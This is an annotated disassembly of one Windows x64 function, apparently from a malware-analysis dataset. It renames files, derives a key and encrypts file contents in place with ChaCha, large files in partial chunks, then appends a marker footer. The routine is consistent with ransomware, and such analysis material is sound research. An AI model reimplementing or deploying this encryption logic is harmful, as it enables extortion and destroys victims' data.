Function at 0x14001b650
Capabilities:
Contain obfuscated stackstrings
Encrypt data using salsa20 or chacha
Get file attributes
Get file size
Move file
Read file on windows
Set file attributes
Write file on windows

Disassembly:
push rbp
push rbx
push r12
push r15
lea rbp, [rsp - 0x198]
sub rsp, 0x298
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x178], rax
xor ebx, ebx
mov qword [rsp + 0x60], rdx
mov dword [rsp + 0x48], ebx
mov r12, rcx
movsxd rax, dword [rsp + 0x48]
cmp rax, 0x40
jae 0x14001b6ae
movsxd rax, dword [rsp + 0x48]
mov byte [rsp + rax + 0x70], bl
mov eax, dword [rsp + 0x48]
inc eax
mov dword [rsp + 0x48], eax
movsxd rax, dword [rsp + 0x48]
cmp rax, 0x40
jb 0x14001b690
mov qword [rsp + 0x2d0], rsi
mov eax, 0xdeadbeef
mov qword [rbp + 0x70], rax
mov eax, 0xdeaddead
mov qword [rsp + 0x290], rdi
mov qword [rsp + 0x288], r13
mov qword [rbp + 0xc0], rax
mov qword [rsp + 0x280], r14
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov rcx, qword [0x140034fc0]
mov edx, 8
add eax, 0x20
movsxd r8, eax
add r8, r8
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov r15, rax
test rax, rax
je 0x14001bbcc
mov rdx, r12
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
lea rdx, [0x14000a388]
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_lstrcatW]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
test al, 1
je 0x14001b747
mov edx, 0x80
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea rcx, [rbp + 0xf0]
call fcn.140015e50
test eax, eax
jne 0x14001b773
mov rcx, qword [0x140034fc0]
mov r8, r15
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, 0x3002
jmp 0x14001bbd1
lea r8, [0x140009970]
lea rdx, [rbp + 0xf0]
lea rcx, [rbp + 0x78]
call fcn.1400195e0
test al, al
je 0x14001b769
lea r8, [0x140033d28]
lea rdx, [rbp + 0xf0]
lea rcx, [rbp + 0x158]
call fcn.1400195e0
test al, al
je 0x14001c0b6
mov r9d, 0x20
lea r8, [rbp - 0x50]
lea rdx, [rbp + 0x158]
lea rcx, [rbp + 0x138]
call fcn.140017d40
mov r9d, 1
mov byte [rbp + 0x110], 1
lea r8, [rbp + 0x138]
lea rdx, [rbp + 0x110]
lea rcx, [rbp + 0x110]
call fcn.140017d40
movups xmm0, xmmword [rbp + 0x110]
mov r9d, 0x21
lea r8, [rbp + 0x138]
movups xmm1, xmmword [rbp + 0x120]
lea rdx, [rbp + 0x110]
mov byte [rbp + 0x130], 2
lea rcx, [rbp + 0x110]
movaps xmmword [rbp - 0x50], xmm0
movaps xmmword [rbp - 0x40], xmm1
call fcn.140017d40
movups xmm0, xmmword [rbp + 0x110]
movups xmm1, xmmword [rbp + 0x120]
movaps xmmword [rbp - 0x30], xmm0
movaps xmmword [rbp - 0x20], xmm1
xor eax, eax
mov dword [rbp - 0xc], 0xbb67ae85
xorps xmm0, xmm0
mov dword [rbp - 8], 0x3c6ef372
lea rdi, [rbp + 0x138]
mov dword [rbp - 4], 0xa54ff53a
mov ecx, 0x20
mov dword [rbp], 0x510e527f
rep stosb byte [rdi], al
mov r14d, 0x40
mov dword [rbp + 4], 0x9b05688c
lea rdi, [rbp + 0x110]
mov dword [rbp + 8], 0x1f83d9ab
mov ecx, 0x21
mov dword [rbp + 0xc], 0x5be0cd19
rep stosb byte [rdi], al
lea rdi, [rbp + 0x158]
mov dword [rbp - 0x10], 0x6b08e647
mov ecx, 0x20
mov dword [rbp + 0x64], 0x20
rep stosb byte [rdi], al
lea rdi, [rbp + 0xd0]
mov ecx, 0x40
rep stosb byte [rdi], al
xor ecx, ecx
lea r13, [rbp - 0x50]
mov edi, r14d
mov dword [rbp + 0x60], ecx
sub edi, ecx
movups xmmword [rbp + 0x10], xmm0
movups xmmword [rbp + 0x20], xmm0
movups xmmword [rbp + 0x30], xmm0
movups xmmword [rbp + 0x40], xmm0
movups xmmword [rbp + 0x50], xmm0
cmp rdi, r14
jae 0x14001b964
mov eax, ecx
lea rdx, [rbp - 0x50]
lea rcx, [rbp + 0x20]
mov r8d, edi
add rcx, rax
call fcn.14001f040
mov r9d, r14d
lea r8d, [r14 - 0x3f]
lea rdx, [rbp + 0x20]
lea rcx, [rbp - 0x10]
call fcn.140016280
lea r13, [rbp - 0x50]
mov dword [rbp + 0x60], ebx
add r13, rdi
sub r14, rdi
mov ecx, ebx
cmp r14, 0x40
jbe 0x14001b964
lea rdi, [r14 + 0x3f]
mov r9d, 0x40
shr rdi, 6
lea rcx, [rbp - 0x10]
mov rdx, r13
lea rsi, [rdi - 1]
mov r8, rsi
call fcn.140016280
mov ecx, dword [rbp + 0x60]
add r13, 0xffffffffffffffc0
shl rdi, 6
add r13, rdi
shl rsi, 6
sub r14, rsi
mov eax, ecx
mov r8, r14
lea rcx, [rbp + 0x20]
mov rdx, r13
add rcx, rax
call fcn.14001f040
mov ecx, dword [rbp + 0x60]
mov r8d, 0x40
add ecx, r14d
mov dword [rbp + 0x18], 0xffffffff
mov edx, ecx
sub r8d, ecx
mov dword [rbp + 0x60], ecx
lea rcx, [rbp + 0x20]
add rcx, rdx
xor edx, edx
call fcn.14001e930
mov r9d, dword [rbp + 0x60]
lea rdx, [rbp + 0x20]
mov r8d, 1
lea rcx, [rbp - 0x10]
call fcn.140016280
mov r8d, dword [rbp + 0x64]
lea rdx, [rbp - 0x10]
lea rcx, [rbp + 0xa0]
call fcn.14001f040
xor eax, eax
mov dword [rsp + 0x70], 0x61707865
mov ecx, 0x78
mov dword [rsp + 0x74], 0x3320646e
lea rdi, [rbp - 0x10]
mov dword [rsp + 0x78], 0x79622d32
rep stosb byte [rdi], al
mov eax, dword [rbp - 0x50]
lea rdi, [rbp - 0x50]
mov dword [rbp - 0x80], eax
mov ecx, 0x40
mov eax, dword [rbp - 0x4c]
mov rdx, r15
mov dword [rbp - 0x7c], eax
mov eax, dword [rbp - 0x48]
mov dword [rbp - 0x78], eax
mov eax, dword [rbp - 0x44]
mov dword [rbp - 0x74], eax
mov eax, dword [rbp - 0x40]
mov dword [rbp - 0x70], eax
mov eax, dword [rbp - 0x3c]
mov dword [rbp - 0x6c], eax
mov eax, dword [rbp - 0x38]
mov dword [rbp - 0x68], eax
mov eax, dword [rbp - 0x34]
mov dword [rbp - 0x64], eax
mov eax, dword [rbp - 0x28]
mov dword [rbp - 0x58], eax
mov eax, dword [rbp - 0x24]
mov dword [rbp - 0x54], eax
xor eax, eax
rep stosb byte [rdi], al
mov rcx, r12
mov dword [rsp + 0x7c], 0x6b206574
lea r8d, [rax + 9]
mov qword [rbp - 0x60], rbx
call qword [sym.imp.KERNEL32.dll_MoveFileExW]
test eax, eax
jne 0x14001baec
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
cmp eax, 0x20
jne 0x14001bac5
mov rcx, r12
call fcn.14001b3f0
test eax, eax
jne 0x14001ba93
mov rcx, qword [0x140034fc0]
mov r8, r15
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, 0x3003
jmp 0x14001bbd1
mov r8d, 9
mov rdx, r15
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_MoveFileExW]
test eax, eax
jne 0x14001baec
mov rcx, qword [0x140034fc0]
mov r8, r15
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, 0x3004
jmp 0x14001bbd1
mov rcx, qword [0x140034fc0]
mov r8, r15
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
cmp edi, 5
mov eax, 0x3004
mov ecx, 0x3105
cmove eax, ecx
jmp 0x14001bbd1
mov qword [rsp + 0x30], rbx
xor r9d, r9d
mov dword [rsp + 0x28], 0x8000000
xor r8d, r8d
mov edx, 0xc0000000
mov dword [rsp + 0x20], 3
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rcx, qword [0x140034fc0]
mov r8, r15
xor edx, edx
mov r14, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
cmp r14, 0xffffffffffffffff
jne 0x14001bb3a
mov eax, 0x3005
jmp 0x14001bbd1
lea rdx, [rsp + 0x58]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov rax, qword [rsp + 0x58]
xor r9d, r9d
xor r8d, r8d
mov qword [rbp + 0x98], rax
mov rdx, rbx
mov rcx, r14
mov rdi, rbx
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov rax, qword [rsp + 0x58]
mov edx, 8
mov rcx, qword [0x140034fc0]
cmp rax, 0x1400000
jle 0x14001bd97
mov r8d, 0x100000
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rcx, qword [0x140034fc0]
mov edx, 8
mov r8d, 0x100000
mov r15, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov r12, rax
test r15, r15
je 0x14001bbcc
test rax, rax
jne 0x14001bc0e
mov r8, r15
mov rcx, qword [0x140034fc0]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, 0x3001
mov r14, qword [rsp + 0x280]
mov r13, qword [rsp + 0x288]
mov rdi, qword [rsp + 0x290]
mov rsi, qword [rsp + 0x2d0]
mov rcx, qword [rbp + 0x178]
xor rcx, rsp
call fcn.14001d940
add rsp, 0x298
pop r15
pop r12
pop rbx
pop rbp
ret
movabs rax, 0x6666666666666667
mov qword [rsp + 0x48], rbx
imul qword [rsp + 0x58]
mov rsi, rdx
sar rsi, 0x16
mov rax, rsi
shr rax, 0x3f
add rsi, rax
test rsi, rsi
jle 0x14001bd21
nop dword [rax]
lea r9, [rsp + 0x40]
mov qword [rsp + 0x20], rbx
mov r8d, 0x100000
mov rdx, r15
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x14001bd69
mov r13d, dword [rsp + 0x40]
test r13d, r13d
je 0x14001bcc0
cmp dword [0x140034f28], ebx
lea rax, [rbp - 0x60]
mov qword [rsp + 0x20], rax
lea r9, [rbp - 0x80]
mov r8d, r13d
mov rdx, r15
mov rcx, r12
je 0x14001bc93
call fcn.140011960
jmp 0x14001bcb6
cmp dword [0x140034f24], ebx
je 0x14001bca2
call fcn.140010d60
jmp 0x14001bcb6
cmp dword [0x140034f20], ebx
je 0x14001bcb1
call fcn.14000fd00
jmp 0x14001bcb6
call fcn.14000f900
lea eax, [r13 + 0x3f]
shr eax, 6
add dword [rbp - 0x60], eax
xor r9d, r9d
xor r8d, r8d
mov rdx, rdi
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
lea r9, [rsp + 0x50]
mov qword [rsp + 0x20], rbx
mov r8d, 0x100000
mov rdx, r12
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x14001bd3b
add rdi, 0xa00000
xor r9d, r9d
mov rdx, rdi
xor r8d, r8d
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov r13, qword [rsp + 0x48]
inc r13
mov qword [rsp + 0x48], r13
cmp r13, rsi
jl 0x14001bc40
mov rcx, qword [0x140034fc0]
mov r8, r15
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov r8, r12
jmp 0x14001c04c
mov rcx, qword [0x140034fc0]
mov r8, r15
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rcx, qword [0x140034fc0]
mov r8, r12
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, 0x3007
jmp 0x14001bbd1
mov rcx, qword [0x140034fc0]
mov r8, r15
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rcx, qword [0x140034fc0]
mov r8, r12
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, 0x3006
jmp 0x14001bbd1
cmp rax, 0x500000
jl 0x14001bf46
mov r8d, 0x100000
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rcx, qword [0x140034fc0]
mov edx, 8
mov r8d, 0x100000
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov r15, rax
test rsi, rsi
je 0x14001bbcc
test rax, rax
jne 0x14001bde3
mov r8, rsi
jmp 0x14001bbbd
movabs rax, 0x5555555555555556
mov r12, rbx
imul qword [rsp + 0x58]
mov rcx, rdx
shr rcx, 0x3f
add rcx, rdx
mov qword [rsp + 0x48], rcx
nop dword [rax]
nop dword [rax + rax]
lea r9, [rsp + 0x40]
mov qword [rsp + 0x20], rbx
mov r8d, 0x100000
mov rdx, rsi
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x14001bf18
mov r13d, dword [rsp + 0x40]
test r13d, r13d
je 0x14001be90
cmp dword [0x140034f28], ebx
lea rax, [rbp - 0x60]
mov qword [rsp + 0x20], rax
lea r9, [rbp - 0x80]
mov r8d, r13d
mov rdx, rsi
mov rcx, r15
je 0x14001be63
call fcn.140011960
jmp 0x14001be86
cmp dword [0x140034f24], ebx
je 0x14001be72
call fcn.140010d60
jmp 0x14001be86
cmp dword [0x140034f20], ebx
je 0x14001be81
call fcn.14000fd00
jmp 0x14001be86
call fcn.14000f900
lea eax, [r13 + 0x3f]
shr eax, 6
add dword [rbp - 0x60], eax
xor r9d, r9d
xor r8d, r8d
mov rdx, rdi
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov r8d, dword [rsp + 0x40]
lea r9, [rsp + 0x50]
mov rdx, r15
mov qword [rsp + 0x20], rbx
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x14001beea
add rdi, qword [rsp + 0x48]
xor r9d, r9d
mov rdx, rdi
xor r8d, r8d
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
inc r12
cmp r12, 3
jl 0x14001be10
jmp 0x14001c037
mov rcx, qword [0x140034fc0]
mov r8, rsi
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rcx, qword [0x140034fc0]
mov r8, r15
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, 0x3007
jmp 0x14001bbd1
mov rcx, qword [0x140034fc0]
mov r8, rsi
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rcx, qword [0x140034fc0]
mov r8, r15
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, 0x3006
jmp 0x14001bbd1
lea r8, [rax + 0x40]
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov r8, qword [rsp + 0x58]
mov edx, 8
mov rcx, qword [0x140034fc0]
add r8, 0x40
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov r15, rax
test rsi, rsi
je 0x14001bbcc
test rax, rax
je 0x14001bddb
mov r8d, dword [rsp + 0x58]
lea r9, [rsp + 0x40]
mov rdx, rsi
mov qword [rsp + 0x20], rbx
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x14001bf18
mov r13d, dword [rsp + 0x40]
test r13d, r13d
je 0x14001c002
cmp dword [0x140034f28], ebx
lea rax, [rbp - 0x60]
mov qword [rsp + 0x20], rax
lea r9, [rbp - 0x80]
mov r8d, r13d
mov rdx, rsi
mov rcx, r15
je 0x14001bfd5
call fcn.140011960
jmp 0x14001bff8
cmp dword [0x140034f24], ebx
je 0x14001bfe4
call fcn.140010d60
jmp 0x14001bff8
cmp dword [0x140034f20], ebx
je 0x14001bff3
call fcn.14000fd00
jmp 0x14001bff8
call fcn.14000f900
lea eax, [r13 + 0x3f]
shr eax, 6
add dword [rbp - 0x60], eax
xor r9d, r9d
xor r8d, r8d
mov rdx, rbx
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov r8d, dword [rsp + 0x40]
lea r9, [rsp + 0x50]
mov rdx, r15
mov qword [rsp + 0x20], rbx
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x14001beea
mov rcx, qword [0x140034fc0]
mov r8, rsi
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov r8, r15
mov rcx, qword [0x140034fc0]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
xor eax, eax
lea rdi, [rsp + 0x70]
mov ecx, 0x40
xor r8d, r8d
rep stosb byte [rdi], al
lea r9d, [rax + 2]
mov rdx, rbx
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
lea r9, [rsp + 0x50]
mov qword [rsp + 0x20], rbx
mov r8d, 0x58
lea rdx, [rbp + 0x70]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_FlushFileBuffers]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x60]
mov eax, dword [rsp + 0x58]
mov dword [rcx], eax
xor eax, eax
jmp 0x14001bbd1